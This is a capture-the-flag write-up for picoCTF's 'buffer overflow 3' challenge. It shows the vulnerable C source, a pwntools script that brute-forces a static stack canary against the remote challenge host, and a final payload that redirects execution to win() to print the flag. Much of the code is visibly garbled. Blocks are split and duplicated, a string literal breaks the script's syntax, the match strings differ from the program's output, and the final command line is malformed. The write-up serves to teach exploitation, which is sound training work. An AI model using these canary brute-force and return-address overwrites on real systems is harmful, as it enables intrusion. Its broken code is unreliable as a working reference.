

We are solving buffer overflow 3, a hard-level binary exploitation challenge on cylab security academy. In this challenge, we must exploit a binary that has a buffer overflow vulnerability to cause a win() function to run (which gives us the flag), but there is a stack canary protecting the return address. This challenge is like the offset-cycleV2 challenge except the source code does not indicate what the canary is.

I first download the source code and binary from the challenge instance, give the binary execution permissions, and use the 'cat' command to read the source file:

```
(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ chmod +x vuln
(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
    char buf[FLAGSIZE];
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
            "own debugging flag.\n");
        fflush(stdout);
        exit(0);
    }
    fgets(buf, FLAGSIZE, f); // size bound read
    puts(buf);
    fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
    FILE *f = fopen("canary.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'canary.txt' in this directory with your",
            "own debugging canary.\n");
        fflush(stdout);
        exit(0);
    }
    fread(global_canary, sizeof(char), CANARY_SIZE, f);
    fclose(f);
}

void vuln(){
    char canary[CANARY_SIZE];
    char buf[BUFSIZE];
    char length[BUFSIZE];
    int count;
    int x = 0;
    memcpy(canary, global_canary, CANARY_SIZE);
    printf("How Many Bytes will You Write Into the Buffer?\n> ");
    while (x < BUFSIZE) {
        read(0, length+x, 1);
        if (length[x] == '\n') break;
        x++;
    }
    sscanf(length, "%d", &count);
    printf("Input> ");
    read(0, buf, count);

    if (memcmp(canary, global_canary, CANARY_SIZE)) {
        printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
        fflush(stdout);
        exit(0);
    }
    printf("Ok ... Now Where's the Flag?\n");
    fflush(stdout);
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    read_canary();
}
```

```

vuln();
return 0;
}

```

The code is like before except we have a `read_canary()` function rather than a `load_canary()` function. This function is called before the `vuln()` function and it collects the canary value from a `canary.txt` file, then it writes it into the global variable `'global_canary'`. Afterwards, the `vuln()` function runs, asks me how many bytes I want to write to the buffer, writes that into the `'length'` buffer, collects the integer value from our input to the `'length'` buffer using the `scanf()` function, and stores it into the `'count'` variable which acts as the upper bound for the number of bytes I can write to the `'buf'` buffer. This means I can control the `'count'` variable, set it to a value larger than the size of the `'buf'` buffer, and introduce a buffer overflow vulnerability in this binary.

As a test, if I set the `'count'` variable to 64 and input 64 'a's into the program, there is no error because 64 'a's fit exactly into the `'buf'` buffer (BUFSIZE is defined as 64 at the top of the file). Keep in mind we do press enter, which introduces a new line character but the `'count'` variable is already set to 64 so it won't be written (if it was written, it would overflow the `'buf'` buffer and go into the canary buffer, triggering a "Stack Smashing Detected" message and exit):

```

(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 64
Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Ok ... Now Where's the Flag?

```

But if I set the `'count'` variable to 65 and input 64 'a's into the program, I will get a "Stack Smashing Detected" message and the program will exit. This is because 64 'a's are put into the `'buf'` buffer then the new line character is written into the `'canary'` buffer (since the `'buf'` buffer is full), changing its value and causing the trigger:

```

(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 65
Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
**** Stack Smashing Detected **** : Canary Value Corrupt!

```

To continue with this buffer overflow exploit, I need to determine what the canary is, or else I will always end up corrupting the canary value stored in the `'canary'` buffer and triggering the exit, never reaching the `win()` function I want to call, which would give me the flag. I know the canary value is loaded from a

‘canary.txt’ file on the challenge instance (note: to run the binary locally, I had to create my own ‘canary.txt’ file on my system, as mentioned by the source code in the read_canary() function).

I used the ‘pwntools’ library to write a script that brute forces for the canary value. I know the canary is 4 bytes long from the source code. A byte can have a value between 0-255 (inclusive). Here is the script I used to test the script locally (I set the test canary value to ‘pico’ in the ‘canary.txt’ file on my system):

```
(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ cat test.py
from pwn import *
import string

canary = b''
line = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

initial = '65'

characters = [bytes([i]) for i in range(256)]

while len(canary) < 4:
    print("canary right now: " + str(canary))
    print("line is " + str(line))
    for i in range(len(characters)):
        connection = process('./vuln')
        print(connection.recvuntil(b'How Many Bytes will You Write Into the Buffer?'))
        connection.sendline(initial.encode('utf-8'))
        print(connection.recvuntil(b'Input>'))
        connection.sendline(line+characters[i])
        result = connection.recvall()
        print("GUESS:", characters[i].hex())
        print("RESULT:", repr(result))
        connection.close()

        if b"Ok... Now Where's the Flag?" in result:
            canary += characters[i]
            line = line + characters[i]
            break
    print("GUESS:", characters[i].hex())
    print("RESULT:", repr(result))
    connection.close()

    if b"Ok... Now Where's the Flag?" in result:
        canary += characters[i]
```

```

line = line + characters[i]
initial = str(int(initial)+1)
break
print(canary)
```

```
(user@wargamesdestroyingMACHINE)-[~/Downloads]
```

After I ran it, it gave me my test canary from the ‘canary.txt’ file I created locally:

```

GUESS: 6b
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Starting local process './vuln': pid 358325
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (61B)
[*] Process './vuln' stopped with exit code 0 (pid 358325)
GUESS: 6c
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Starting local process './vuln': pid 358328
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (61B)
[*] Process './vuln' stopped with exit code 0 (pid 358328)
GUESS: 6d
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Starting local process './vuln': pid 358331
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (61B)
[*] Process './vuln' stopped with exit code 0 (pid 358331)
GUESS: 6e
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Starting local process './vuln': pid 358334
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (29B)
[*] Process './vuln' stopped with exit code 0 (pid 358334)
GUESS: 6f
RESULT: b' Ok... Now Where's the Flag?\n'
b'pico'

```

(user@wargamesdestroyingMACHINE)-[~/Downloads]

Now all I did was create a script that was the same except it attacks the binary on the challenge instance instead of the one I had locally:

```

(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ cat exploit2.py
from pwn import *
import string

canary = b''
line = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

initial = '65'

characters = [bytes([i]) for i in range(256)]

while len(canary) < 4:
    print("canary right now: " + str(canary))
    print("line is " + str(line))
    for i in range(len(characters)):
        connection = remote('saturn.picoctf.net', 64200)
        print(connection.recvuntil(b'How Many Bytes will You Write Into the Buffer?'))
        connection.sendline(initial.encode('utf-8'))
        print(connection.recvuntil(b'Input>'))
        connection.sendline(line+characters[i])
        result = connection.recvall()
        print("GUESS:", characters[i].hex())
        print("RESULT:", repr(result))
        connection.close()

        if b'Ok... Now Where's the Flag?' in result:
            canary += characters[i]

```

```

    line = line + characters[i]
    initial = str(int(initial)+1)
    break
print(canary)

```

(user@wargamesdestroyingMACHINE)-[~/Downloads]

After I ran it, it determined the canary that the program on the challenge instance was using (the one loaded from the 'canary.txt' file):

```

GUESS: 61
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Opening connection to saturn.picoctf.net on port 59849: Done
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (61B)
[*] Closed connection to saturn.picoctf.net port 59849
GUESS: 62
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Opening connection to saturn.picoctf.net on port 59849: Done
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (61B)
[*] Closed connection to saturn.picoctf.net port 59849
GUESS: 63
RESULT: b' ***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[+] Opening connection to saturn.picoctf.net on port 59849: Done
b'How Many Bytes will You Write Into the Buffer?'
b'\n> Input>'
[+] Receiving all data: Done (29B)
[*] Closed connection to saturn.picoctf.net port 59849
GUESS: 64
RESULT: b' Ok... Now Where's the Flag?\n'
b'BiRd'

```

Now all I had to do was determine where the return address was. Once I determine that, I can simply put the address of the win() function there, get it to execute, and give me the flag (Note: I know the address of the win() function because it isn't a PIE executable):

```

$ checksec --file=vuln
[*] '/home/user/Downloads/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

```

(user@wargamesdestroyingMACHINE)-[~/Downloads]

I also don't have to worry about the win() function address I supply being canonical because the binary is a 32-bit:

```
(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ file vuln
vuln: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=880ddfdc7ef13c4139ab8a80cc3d8225251a331f, for GNU/Linux 3.2.0, not stripped
(user@wargamesdestroyingMACHINE)-[~/Downloads]
$
```

Now, going back to the challenge. It was time for me to craft my final exploit to retrieve the flag. I used python to craft it. I added several 'a's as padding after supplying the 64 'a's and the found canary value before writing the address of the win() function and after supplying an extra 16 'a's and the win() function address, I got the flag:

```
(user@wargamesdestroyingMACHINE)-[~/Downloads]
$ python3 -c "import sys; sys.stdout.buffer.write(b'99\n' + b'a'*64 + b'BiRd' + b'a'*16 + b'\x36\x93\x04\x08\n')"; nc saturn.picoctf.net 62020
How Many Bytes will You Write Into the Buffer?
> Input> Ok ... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_0bf0b08e}
```

flag: picoCTF{Stat1C_c4n4r13s_4R3_b4D_0bf0b08e}

